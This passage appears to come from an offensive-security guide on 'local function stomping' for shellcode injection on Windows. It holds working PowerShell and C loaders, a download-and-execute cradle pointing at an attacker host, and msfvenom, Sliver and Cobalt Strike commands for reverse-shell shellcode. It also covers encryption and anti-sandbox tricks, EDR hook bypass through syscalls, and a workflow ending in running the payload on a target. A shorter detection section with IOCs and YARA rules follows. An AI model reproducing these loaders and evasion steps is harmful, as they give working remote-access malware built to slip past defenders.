let _ = CloseHandle(h_thread);
let _ = FreeLibrary(h_module);
}
println!("[+] Done.");
}
Build and run:
# Initialize project
cargo new local_func_stomp
cd local_func_stomp
# Add to Cargo.toml (dependencies section)
# windows = { version = "0.52", features = [...] }
# Build release (optimized, smaller binary)
cargo build --release --target x86_64-pc-windows-gnu
# Or cross-compile from Linux
cargo build --release --target x86_64-pc-windows-msvc
11. PowerShell Implementation
<#
.SYNOPSIS
Local Function Stomping in PowerShell
Loads ieframe.dll, stomps IECreateFile, executes shellcode
.NOTES
Run: powershell -ep bypass -File local_stomp.ps1
Or: IEX (New-Object Net.WebClient).DownloadString('http://attacker/stomp.ps1')
#>
# ─── Win32 API imports ────────────────────────────────────────────────────────
$win32_code = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr LoadLibraryA(string lpLibFileName);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize,
uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr CreateThread(IntPtr lpThreadAttr, uint dwStackSize,
IntPtr lpStartAddr, IntPtr lpParam, uint dwCreationFlags, out uint lpThreadId);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("kernel32.dll", SetLastError=true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CloseHandle(IntPtr hObject);
}
"@
Add-Type -TypeDefinition $win32_code
# ─── Shellcode (Base64-encoded for transport, XOR'd for evasion) ─────────────
# Generate: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=... LPORT=... -f ps1
# Paste the byte array here (or decode from Base64 at runtime)
$xor_key = 0x41
$b64_payload = "AAAAAAA..." # Base64-encoded, XOR'd shellcode
# Decode Base64 → XOR decode → raw shellcode bytes
$xored_bytes = [System.Convert]::FromBase64String($b64_payload)
$shellcode = [byte[]]::new($xored_bytes.Length)
for ($i = 0; $i -lt $xored_bytes.Length; $i++) {
$shellcode[$i] = $xored_bytes[$i] -bxor $xor_key
}
# ─── Constants ────────────────────────────────────────────────────────────────
$PAGE_READWRITE = 0x04
$PAGE_EXECUTE_READ = 0x20
$PAGE_EXECUTE_READWRITE = 0x40
Write-Host "[*] Local Function Stomping - PowerShell"
# Step 1: Load DLL
$hModule = [Win32]::LoadLibraryA("ieframe.dll")
if ($hModule -eq [IntPtr]::Zero) {
Write-Error "[-] LoadLibraryA failed"
exit 1
}
Write-Host "[+] ieframe.dll loaded at: $('0x{0:X}' -f $hModule.ToInt64())"
# Step 2: Get function address
$funcAddr = [Win32]::GetProcAddress($hModule, "IECreateFile")
if ($funcAddr -eq [IntPtr]::Zero) {
Write-Error "[-] GetProcAddress failed"
exit 1
}
Write-Host "[+] IECreateFile at: $('0x{0:X}' -f $funcAddr.ToInt64())"
# Step 3: Change protection to RW
$oldProtect = [uint32]0
$vpResult = [Win32]::VirtualProtect($funcAddr, [uint32]$shellcode.Length,
[uint32]$PAGE_READWRITE,
[ref]$oldProtect)
if (!$vpResult) {
Write-Error "[-] VirtualProtect (RW) failed"
exit 1
}
# Step 4: Copy shellcode into function memory
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $funcAddr, $shellcode.Length)
Write-Host "[+] Shellcode stomped ($($shellcode.Length) bytes)"
# Step 5: Change to PAGE_EXECUTE_READ
[Win32]::VirtualProtect($funcAddr, [uint32]$shellcode.Length,
[uint32]$PAGE_EXECUTE_READ,
[ref]$oldProtect) | Out-Null
# Step 6: Execute
$threadId = [uint32]0
$hThread = [Win32]::CreateThread([IntPtr]::Zero, [uint32]0, $funcAddr,
[IntPtr]::Zero, [uint32]0, [ref]$threadId)
if ($hThread -eq [IntPtr]::Zero) {
Write-Error "[-] CreateThread failed"
exit 1
}
Write-Host "[+] Thread created (ID: $threadId), waiting..."
[Win32]::WaitForSingleObject($hThread, [uint32]0xFFFFFFFF) | Out-Null
[Win32]::CloseHandle($hThread) | Out-Null
Write-Host "[+] Execution complete."
12. Generating the Shellcode Payload
12.1 msfvenom — Standard Reverse Shell
# ─── x64 Meterpreter reverse TCP ──────────────────────────────────────────────
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.10.10 \
LPORT=4444 \
-f raw -o shellcode.bin
# Verify size (must fit inside target function)
wc -c shellcode.bin
# Convert to C byte array for embedding
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f c -o shellcode.c
# HTTPS payload (better opsec)
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=attacker.com LPORT=443 \
-f raw -o shellcode_https.bin
# Stageless (no callback for stage 2)
msfvenom -p windows/x64/meterpreter_reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f raw -o stageless.bin
12.2 Custom C2 Shellcode (Havoc, Sliver, Cobalt Strike)
# ─── Havoc C2 ─────────────────────────────────────────────────────────────────
# In Havoc UI: Payload → Shellcode → x64 → HTTPS → Generate
# Or via profile: Listener creates shellcode automatically
# ─── Sliver C2 ────────────────────────────────────────────────────────────────
# Start Sliver server (already familiar from your notes!)
sliver-server
# Generate shellcode (not an exe, just raw shellcode)
sliver > generate --mtls --lhost attacker.com --lport 8888 \
--format shellcode --os windows --arch amd64 --save /tmp/
# ─── Output: shellcode file (raw bytes, embed directly into stomper)
# ─── Cobalt Strike ────────────────────────────────────────────────────────────
# Attacks → Packages → Payload Generator → Raw Shellcode
# Copy bytes into shellcode[] array
12.3 Encrypt Shellcode Before Stomping (Best Practice)
# [OPSEC] Never stomp raw shellcode — encrypt it first
# Decrypt at runtime inside the stomper just before memcpy
# XOR encrypt shellcode.bin → xored.bin
python3 -c "
d=open('shellcode.bin','rb').read()
k=0x41
open('xored.bin','wb').write(bytes([b^k for b in d]))
print(f'Key: 0x{k:02x} | Size: {len(d)} bytes')
"
# AES-256 encrypt → encrypted payload
python3 -c "
from Crypto.Cipher import AES; from Crypto.Util.Padding import pad; import os
k=os.urandom(32); iv=os.urandom(16)
d=open('shellcode.bin','rb').read()
enc=AES.new(k,AES.MODE_CBC,iv).encrypt(pad(d,16))
open('payload.enc','wb').write(iv+enc)
print(f'Key: {k.hex()}')
print(f'IV: {iv.hex()}')
print(f'Size: {len(enc)} bytes')
"
13. Compiling and Testing
13.1 MinGW Cross-Compile (Linux → Windows .exe)
# Install MinGW cross-compiler (Kali/Debian)
sudo apt install mingw-w64 -y
# Compile the stomper (basic)
x86_64-w64-mingw32-gcc -O2 local_func_stomp.c -o stomp.exe \
-s \ # Strip symbols
-ffunction-sections \ # Remove dead code
-fdata-sections \
-fno-exceptions \
-fmerge-all-constants \
-static-libstdc++ \
-static-libgcc # Static link (no MSVCRT dependency)
# Strip debug info (smaller, less info for reversers)
x86_64-w64-mingw32-strip stomp.exe
# With bcrypt for AES decryption
x86_64-w64-mingw32-gcc -O2 stomp_aes.c -o stomp_aes.exe \
-lbcrypt -s -ffunction-sections -fdata-sections \
-static-libgcc -static-libstdc++
13.2 MSVC Compile (Windows)
REM Open Developer Command Prompt for VS
REM Compile with MSVC
cl.exe /O2 /GS- local_func_stomp.c /Fe:stomp.exe
REM With optimization flags
cl.exe /O2 /GS- /EHsc local_func_stomp.c /Fe:stomp.exe /link /SUBSYSTEM:CONSOLE
REM No console window (for stealth — avoid the black terminal popup)
cl.exe /O2 /GS- local_func_stomp.c /Fe:stomp.exe /link /SUBSYSTEM:WINDOWS
13.3 Testing with x64dbg
Attach x64dbg to stomper.exe to observe:
1. Set BP on LoadLibraryA → watch ieframe.dll load
2. Set BP on GetProcAddress → get function address
3. Set BP on VirtualProtect → watch protection change
4. Set BP at [funcAddr] → observe shellcode bytes after memcpy
5. Step through CreateThread → confirm execution begins at function addr
x64dbg commands:
bp LoadLibraryA ; break on library load
bp VirtualProtect ; break on protection change
bp CreateThread ; break on thread creation
run ; F9
p ; F8 (step over)
t ; F7 (step into)
13.4 Detection Test (ThreatCheck / DefenderCheck)
# [TOOL] ThreatCheck — find which bytes trigger AV
# https://github.com/rasta-mouse/ThreatCheck
ThreatCheck.exe -f stomp.exe -e Defender
# DefenderCheck
DefenderCheck.exe stomp.exe
# Test offline with Defender
"C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File stomp.exe
# Online sandbox (careful — shares payload with AV vendors)
# https://app.any.run
# https://hybrid-analysis.com
14. OPSEC Improvements
14.1 Problem — VirtualProtect on Mapped Memory is Monitored
[DETECT] EDR watches for:
VirtualProtect(
addr inside mapped DLL section, ← suspicious: changing DLL memory
any_size,
PAGE_READWRITE, ← demoting executable DLL code
...
)
Followed by:
VirtualProtect(
same addr,
PAGE_EXECUTE_*, ← re-promoting to executable
...
)
= Classic "write-then-execute" pattern on a DLL section → ALERT 🚨
14.2 Solution A — WriteProcessMemory Instead of memcpy
// WriteProcessMemory has a hidden feature (discovered by Ivy/Tylous):
// It temporarily changes memory permissions to writable,
// writes the data, then RESTORES permissions automatically
// via an internal NtProtectVirtualMemory call.
// This means you don't need to call VirtualProtect manually!
HANDLE hSelf = GetCurrentProcess(); // -1 pseudo-handle
SIZE_T written = 0;
// WriteProcessMemory will internally:
// 1. NtProtectVirtualMemory(RW)
// 2. Copy bytes
// 3. NtProtectVirtualMemory(restore original)
// Your VirtualProtect calls → GONE
BOOL result = WriteProcessMemory(
hSelf, // Target process = self
addr, // Target address (function in DLL)
shellcode, // Source bytes
sizeof(shellcode),
&written // Bytes written
);
// After this: memory is back to ORIGINAL protection (R+X for .text section)
// But shellcode is written! Execute it:
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL);
14.3 Solution B — NtWriteVirtualMemory (Syscall, No Hook)
// Use direct syscall to NtWriteVirtualMemory — bypasses EDR hook on
// WriteProcessMemory, does the same implicit permission toggling
// Get SSN for NtWriteVirtualMemory (similar to §7.2 approach)
WORD ssn_write = get_syscall_number("NtWriteVirtualMemory");
// Invoke via syscall stub — EDR user-mode hook never sees this call
syscall_NtWriteVM(ssn_write, GetCurrentProcess(), addr,
shellcode, sizeof(shellcode), NULL);
14.4 Solution C — Delay Execution (Sandbox Evasion)
// Wait for real user interaction before executing
// Sandboxes don't simulate real user input / mouse movement
POINT lastPos = {0, 0};
POINT curPos;
int movements = 0;
while (movements < 5) { // Wait for 5 mouse movements
GetCursorPos(&curPos);
if (curPos.x != lastPos.x || curPos.y != lastPos.y) {
movements++;
lastPos = curPos;
}
Sleep(200);
}
// Real machine confirmed — proceed with stomping
14.5 Solution D — Choose Low-Frequency DLL + Function
[OPSEC] DLL selection matters:
❌ BAD: ntdll.dll, kernel32.dll, kernelbase.dll
└─ OS calls these constantly — stomped function may be called by OS
└─ High-frequency monitoring target for EDR
❌ BAD: Functions that your own loader code calls
└─ If you call CreateFile(), don't stomp IECreateFile before calling it
✅ GOOD: ieframe.dll, winmm.dll, xpsp2res.dll, shdocvw.dll
└─ Legacy, deprecated, rarely if ever called in modern processes
✅ GOOD: Infrequently-exported functions:
└─ IECreateFile, PlaySoundA, mciSendCommandA
└─ Functions that haven't been actively used since Windows XP era
14.6 Complete OPSEC-Hardened Version
/*
* opsec_stomp.c — Production-grade local function stomping
* Improvements:
* 1. WriteProcessMemory instead of VirtualProtect+memcpy (no explicit prot change)
* 2. Anti-sandbox checks before execution
* 3. Encrypted shellcode, decrypted in memory
* 4. No CreateThread — callback-based execution (EnumSystemLocalesA)
*/
#include <windows.h>
#include <stdio.h>
// ─── XOR-encrypted shellcode (decrypt in place before stomping) ──────────────
unsigned char enc_shellcode[] = { /* XOR'd bytes here */ };
const unsigned char XOR_KEY = 0x41;
const unsigned int SC_LEN = sizeof(enc_shellcode);
// ─── Anti-sandbox: check for real user activity ──────────────────────────────
BOOL is_real_machine() {
SYSTEM_INFO si;
GetSystemInfo(&si);
if (si.dwNumberOfProcessors < 4) return FALSE; // Few cores = VM/sandbox
MEMORYSTATUSEX ms = { sizeof(ms) };
GlobalMemoryStatusEx(&ms);
if (ms.ullTotalPhys < (4ULL * 1024 * 1024 * 1024)) return FALSE; // < 4GB
DWORD tick = GetTickCount();
Sleep(500);
if ((GetTickCount() - tick) < 400) return FALSE; // Accelerated time
return TRUE;
}
int main() {
if (!is_real_machine()) {
// Look benign in sandbox — print fake error and exit
MessageBoxA(NULL, "Runtime error: application failed to initialize.",
"Error", MB_OK | MB_ICONERROR);
return 0;
}
// Decrypt shellcode in-place (XOR decode)
unsigned char shellcode[SC_LEN];
for (unsigned int i = 0; i < SC_LEN; i++)
shellcode[i] = enc_shellcode[i] ^ XOR_KEY;
// Load sacrificial DLL
HMODULE h = LoadLibraryA("ieframe.dll");
if (!h) return 1;
PVOID addr = (PVOID)GetProcAddress(h, "IECreateFile");
if (!addr) return 1;
// Use WriteProcessMemory — no explicit VirtualProtect call needed
SIZE_T written = 0;
if (!WriteProcessMemory(GetCurrentProcess(), addr, shellcode, SC_LEN, &written))
return 1;
// Execute via callback (no CreateThread)
EnumSystemLocalesA((LOCALE_ENUMPROCA)addr, LCID_INSTALLED);
return 0;
}
15. Detection & Blue Team Perspective
15.1 IOCs (Indicators of Compromise)
Static IOCs:
├─ Binary imports: LoadLibraryA + GetProcAddress + VirtualProtect + CreateThread
├─ String literals: "ieframe.dll", "IECreateFile" (or similar unusual DLL/function)
├─ Encrypted shellcode blob (high entropy section)
└─ PE section entropy > 7.5 (encrypted payload)
Behavioral IOCs:
├─ VirtualProtect called on memory inside a mapped DLL (.text section)
├─ Memory protection: R+X → R+W → R+X or RWX on a DLL region
├─ New thread starting at address inside an obscure/legacy DLL
├─ ieframe.dll loaded in a process that normally has no reason to use IE
├─ Thread start address inside ieframe.dll!.text
└─ Content mismatch: DLL .text section memory ≠ DLL bytes on disk
Memory Forensics IOCs:
├─ PE-sieve: export function content doesn't match on-disk DLL
├─ hollows-hunter: detects stomped section in loaded module (updated 2022+)
├─ Volatiility malfind: finds executable regions with shellcode bytes
└─ Process Hacker / SystemInformer: thread stack shows ieframe.dll origin
15.2 ETW Detection (Event Tracing for Windows)
Key ETW events to monitor:
1. Microsoft-Windows-Threat-Intelligence (kernel ETW):
THREATINT_PROTECTVM_LOCAL (EventID: varies)
└─ Fires when VirtualProtect changes mapped memory permissions
└─ CRITICAL: This catches the R+X → R+W transition on DLL sections
2. Microsoft-Windows-Kernel-Process:
Thread creation events → check start address module association
3. Sysmon (Event ID 8 — CreateRemoteThread):
Not applicable for local thread, but thread-related events still fire
4. Sysmon Event ID 10 — Process Access:
Not applicable (local process, no cross-process access)
EDR Triggers:
CrowdStrike: VirtualProtect on image-backed memory → flagged
SentinelOne: Thread from DLL .text with mismatched content → alert
Microsoft Defender for Endpoint: Script-block logging + ETW
15.3 Memory Forensics Tools
# [TOOL] PE-sieve — scan running processes for modified modules
# https://github.com/hasherezade/pe-sieve
pe-sieve.exe /pid 1234 /report report.json
# Detects: modified sections, stomped functions, hollowing
# [TOOL] hollows-hunter — scan all processes
# https://github.com/hasherezade/hollows_hunter
hollows_hunter.exe /sieve_shellcode
# Note: Updated to detect function stomping after 2022
# [TOOL] Volatility — memory forensics
vol.py -f memory.dmp malfind # Find injected code
vol.py -f memory.dmp dlllist # List loaded DLLs per process
vol.py -f memory.dmp vadinfo # VAD tree (check for RWX regions)
vol.py -f memory.dmp memmap --pid 1234 # Memory map of specific process
# [TOOL] Process Hacker / System Informer
# Right-click process → Properties → Memory → Filter: Execute+Write
# Shows all RWX memory regions (should be minimal in legit processes)
16. YARA Rule for Detection
/*
* functionstomping.yara
* Detect local function stomping patterns
* Source: Idov31/FunctionStomping repo
* https://github.com/Idov31/FunctionStomping/blob/master/functionstomping.yara
*/
import "pe"
rule FunctionStomping_Generic {
meta:
author = "izanaghi / adapted from Idov31"
description = "Detects local function stomping injection pattern"
date = "2024"
reference = "https://github.com/Idov31/FunctionStomping"
mitre = "T1055"
strings:
// API strings indicative of function stomping
$s1 = "LoadLibraryA" ascii wide
$s2 = "GetProcAddress" ascii wide
$s3 = "VirtualProtect" ascii wide
$s4 = "CreateThread" ascii wide
// Target DLLs (sacrificial modules)
$dll1 = "ieframe.dll" ascii wide nocase
$dll2 = "winmm.dll" ascii wide nocase
$dll3 = "wininet.dll" ascii wide nocase
// Target functions (commonly stomped)
$func1 = "IECreateFile" ascii
$func2 = "PlaySoundA" ascii
$func3 = "CallMsgFilterA" ascii
$func4 = "IEIsProtectedModeProcess" ascii
condition:
// All 4 Win32 APIs present AND at least one target DLL/function
all of ($s1, $s2, $s3, $s4) and
(any of ($dll*) or any of ($func*))
}
rule FunctionStomping_HighEntropy_Shellcode {
meta:
author = "izanaghi"
description = "Function stomping with high-entropy (encrypted) shellcode"
date = "2024"
strings:
$s1 = "LoadLibraryA" ascii wide
$s2 = "GetProcAddress" ascii wide
$s3 = "VirtualProtect" ascii wide
condition:
// APIs present + PE has a high-entropy section (encrypted payload)
all of them and
pe.sections[0].raw_data_size > 100 and
math.entropy(0, filesize) > 7.0
}
17. Comparison Matrix (All Injection Techniques)
| Technique | MITRE | New Alloc? | Cross-Proc? | EDR Noise | Stomps DLL? | Thread Origin |
|---|---|---|---|---|---|---|
| Classic VirtualAlloc+Thread | T1055 | Yes (RWX) | No | 🔴 CRITICAL | No | Anonymous |
| DLL Injection | T1055.001 | Yes | Yes | 🔴 HIGH | No | Target proc |
| Process Hollowing | T1055.012 | No | Yes | 🟠 MEDIUM | Entire PE | Legit proc |
| APC Injection | T1055.004 | Yes | Yes | 🟡 LOW | No | Target thread |
| EarlyBird APC | T1055.004 | Yes | Yes | 🟢 V.LOW | No | Before hooks |
| Module Stomping | T1055.001 | No | Optional | 🟢 LOW | Full .text | Legit DLL |
| Local Func Stomping | T1055 | No | No | 🟢 LOW | 1 function | Legit DLL |
| Thread Hijacking | T1055.003 | Yes | Yes | 🟡 LOW | No | Existing thread |
| Threadless Injection | T1055 | Optional | Yes | 🟢 V.LOW | No | Existing thread |
| Doppelgänging | T1055.013 | No | Yes | 🟢 V.LOW | No | Legit proc |
18. Tools Reference
# ─── Development & Testing ─────────────────────────────────────────────────────
# [TOOL] FunctionStomping (Idov31) — C++ / Rust PoC
# https://github.com/Idov31/FunctionStomping
# NOTE: Archived Oct 2025, read-only. Use as reference.
git clone https://github.com/Idov31/FunctionStomping
# [TOOL] LocalAndRemote Function Stomping (AbdouRoumi)
# https://github.com/AbdouRoumi/Local-And-Remote_Function_Stomping
git clone https://github.com/AbdouRoumi/Local-And-Remote_Function_Stomping
# [TOOL] RustRedOps (joaoviictorti) — Rust implementations
# Includes: Local Function Stomping, Remote Stomping, Module Stomping
# https://github.com/joaoviictorti/RustRedOps
git clone https://github.com/joaoviictorti/RustRedOps
# ─── Syscall helpers ───────────────────────────────────────────────────────────
# [TOOL] SysWhispers3 — Auto-generate syscall stubs (bypass EDR hooks)
# https://github.com/klezVirus/SysWhispers3
git clone https://github.com/klezVirus/SysWhispers3
python3 syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory \
--out-file syscalls --method jumper
# [TOOL] DInvoke_rs (Kudaes) — Rust port, includes managed_module_stomping()
# https://github.com/Kudaes/DInvoke_rs
# cargo add dinvoke_rs
# ─── Detection testing ─────────────────────────────────────────────────────────
# [TOOL] ThreatCheck — find AV signature trigger bytes
# https://github.com/rasta-mouse/ThreatCheck
ThreatCheck.exe -f stomp.exe -e Defender
ThreatCheck.exe -f stomp.exe -e AMSI
# [TOOL] DefenderCheck — Defender-specific
# https://github.com/matterpreter/DefenderCheck
DefenderCheck.exe stomp.exe
# [TOOL] PE-sieve — scan process for modifications
# https://github.com/hasherezade/pe-sieve
pe-sieve.exe /pid 1234 /sieve_shellcode 1
# [TOOL] hollows-hunter — batch scan all processes
# https://github.com/hasherezade/hollows_hunter
hollows_hunter.exe /sieve_shellcode
# ─── Payload generation ────────────────────────────────────────────────────────
# msfvenom — generate raw shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 \
-f raw -o shellcode.bin
# Donut — convert PE → shellcode (stomp-ready)
# https://github.com/TheWover/donut
donut -i payload.exe -o shellcode.bin -e 2 # AES-encrypted
19. Cheat Sheet
Quick Workflow
# Step 1: Generate shellcode payload
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 -f raw -o shellcode.bin
# Step 2: (Optional) Encrypt shellcode
python3 -c "
d=open('shellcode.bin','rb').read()
k=0x41
open('xored.bin','wb').write(bytes([b^k for b in d]))
print('XOR key: 0x{:02x} | Size: {} bytes'.format(k, len(d)))
"
# Step 3: Embed shellcode into stomper (paste bytes into C array)
# (or load from file/URL at runtime)
# Step 4: Compile
x86_64-w64-mingw32-gcc -O2 stomp.c -o stomp.exe -s \
-ffunction-sections -fdata-sections -static-libgcc
# Step 5: Test detection
ThreatCheck.exe -f stomp.exe -e Defender
# Step 6: Start listener
msfconsole -q -x "use exploit/multi/handler; \
set payload windows/x64/meterpreter/reverse_tcp; \
set LHOST 10.10.10.10; set LPORT 4444; run"
# Step 7: Execute on target
.\stomp.exe
Key API Call Sequence
LOCAL FUNCTION STOMPING:
LoadLibraryA("ieframe.dll")
↓
GetProcAddress(hModule, "IECreateFile")
↓
[OPTIONAL] WriteProcessMemory(self, addr, shellcode, size) ← stealthiest
OR
VirtualProtect(addr, size, PAGE_READWRITE, &old)
memcpy(addr, shellcode, size)
VirtualProtect(addr, size, PAGE_EXECUTE_READ, &old)
↓
CreateThread(addr) ← standard
OR
EnumSystemLocalesA((LOCALE_ENUMPROCA)addr, ...) ← callback, no CreateThread
OR
((func_t)addr)() ← direct call, no thread
Decision Tree — When to Use Function Stomping
Need to execute shellcode locally?
│
├─ CTF / Lab environment?
│ └─ Classic VirtualAlloc + CreateThread → simple, fast
│
├─ EDR present (CrowdStrike, SentinelOne)?
│ ├─ Signature evasion needed?
│ │ └─ XOR / AES encrypt shellcode → embed in stomper
│ ├─ Behavioral evasion needed?
│ │ └─ Local Function Stomping → avoids RWX alloc
│ ├─ API hook evasion needed?
│ │ └─ Local Func Stomping + syscalls (SysWhispers3)
│ └─ Maximum stealth?
│ └─ Stomping + WriteProcessMemory + callback exec + anti-sandbox
│
├─ Defender only?
│ └─ Basic function stomping (ieframe.dll) → often sufficient
│
└─ Building a C2 (your project!)?
└─ Implement stomping as one of your injection options
└─ Let operator choose target DLL/function at runtime
└─ Combine with shellcode encryption in C2 comms
OPSEC Quick Reference
✅ DO:
- Choose legacy/rarely-used DLLs (ieframe, winmm)
- Choose rarely-called functions (IECreateFile, PlaySoundA)
- Encrypt shellcode before stomping
- Use WriteProcessMemory instead of VirtualProtect+memcpy
- Use callback-based execution instead of CreateThread
- Implement anti-sandbox checks before stomping
- Use syscalls to bypass EDR hooks (SysWhispers3)
- Verify function is large enough for your shellcode
❌ DON'T:
- Stomp ntdll.dll, kernel32.dll, kernelbase.dll exports
- Stomp functions that are actively called by your process
- Use raw (unencrypted) msfvenom shellcode — detected by signature
- Stomp a function smaller than your shellcode — causes crash
- Use VirtualAlloc + function stomp (defeats the purpose)
- Hardcode C2 URL in binary without obfuscation
References & Resources
Technique Origins:
- Idov31 — Original FunctionStomping C++ PoC: https://github.com/Idov31/FunctionStomping
- Idov31 blog — "The Good, The Bad And The Stomped Function": https://idov31.github.io/2022-01-28-function-stomping/
- RastaMouse — C# Module/Function Stomping blog: https://offensivedefence.co.uk/posts/module-stomping/
- cocomelonc — Local Function Stomping tutorial (June 2026): https://cocomelonc.github.io/malware/2026/06/28/malware-tricks-59.html
- cocomelonc — Remote Function Stomping (July 2026): https://cocomelonc.github.io/malware/2026/07/16/malware-tricks-60.html
Implementations:
- RustRedOps (Rust): https://github.com/joaoviictorti/RustRedOps
- Local-And-Remote Function Stomping (C): https://github.com/AbdouRoumi/Local-And-Remote_Function_Stomping
- goFunctionStomping (Go): https://pkg.go.dev/github.com/3rsh1/goFunctionStomping
- DInvoke_rs (Rust, with managed_module_stomping): https://github.com/Kudaes/DInvoke_rs
Detection Research:
- PE-sieve / hollows-hunter (hasherezade): https://github.com/hasherezade/pe-sieve
- ired.team — Injection techniques overview: https://www.ired.team/offensive-security/code-injection-process-injection
- MITRE ATT&CK T1055 — Process Injection: https://attack.mitre.org/techniques/T1055/
Syscall Helpers:
- SysWhispers3: https://github.com/klezVirus/SysWhispers3
- Hell's Gate / Halo's Gate techniques for SSN resolution